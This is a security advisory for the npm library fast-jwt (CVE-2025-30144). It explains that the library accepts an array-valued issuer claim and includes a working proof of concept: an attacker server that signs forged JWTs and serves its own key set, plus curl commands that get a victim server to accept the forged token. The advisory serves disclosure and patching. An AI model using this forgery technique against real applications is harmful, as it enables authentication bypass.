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JWT improper iss claim validation

Moderate
simoneb published GHSA-gm45-q3v2-6cf8 Mar 19, 2025

Package

npm fast-jwt (npm)

Affected versions

<5.0.5

Patched versions

5.0.6

Description

Summary

The fast-jwt library does not properly validate the iss claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Details

The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid.

Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks.

PoC

Take a server running the following code:

const express = require('express')
const buildJwks = require('get-jwks')
const { createVerifier } = require('fast-jwt')

const jwks = buildJwks({ providerDiscovery: true });
const keyFetcher = async (jwt) =>
    jwks.getPublicKey({
        kid: jwt.header.kid,
        alg: jwt.header.alg,
        domain: jwt.payload.iss
    });


const jwtVerifier = createVerifier({
    key: keyFetcher,
    allowedIss: 'https://valid-iss',
});

const app = express();
const port = 3000;

app.use(express.json());


async function verifyToken(req, res, next) {
  const headerAuth = req.headers.authorization.split(' ')
  let token = '';
  if (headerAuth.length > 1) {
    token = headerAuth[1];
  }

  const payload = await jwtVerifier(token);

  req.decoded = payload;
  next();
}

// Endpoint to check if you are auth or not
app.get('/auth', verifyToken, (req, res) => {
  res.json(req.decoded);
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});

Now we build a server that will be used to generate the JWT token and send the verification keys to the victim server:

const { generateKeyPairSync } = require('crypto');
const express = require('express');
const pem2jwk = require('pem2jwk');
const jwt = require('jsonwebtoken');

const app = express();
const port = 3001;
const host = `http://localhost:${port}/`;

const { publicKey, privateKey } = generateKeyPairSync("rsa", 
    {   modulusLength: 4096,
        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },
        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },
    },
); 
const jwk = pem2jwk(publicKey);

app.use(express.json());

// Endpoint to create token
app.post('/create-token', (req, res) => {
  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });
  res.send(token);
});

app.get('/.well-known/jwks.json', (req, res) => {
    return res.json({
        keys: [{
            ...jwk,
            alg: 'RS256',
            use: 'sig',
        }]
    });
})

app.all('*', (req, res) => {
    return res.json({
        "issuer": host,
        "jwks_uri": host + '.well-known/jwks.json'
    });
});

app.listen(port, () => {
  console.log(`Server is running on port ${port}`);
});
export TOKEN=$(curl -X POST http://localhost:3001/create-token -H "Content-Type: application/json" -d '{"name": "test"}')
curl -X GET http://localhost:3000/auth -H "Authorization: Bearer $TOKEN"

Impact

Applications relaying on the validation of the iss claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.

Solution

Change

validators.push({ type: 'string', claim: 'iss', allowed: ensureStringClaimMatcher(allowedIss) })
to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N

CVE ID

CVE-2025-30144

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Credits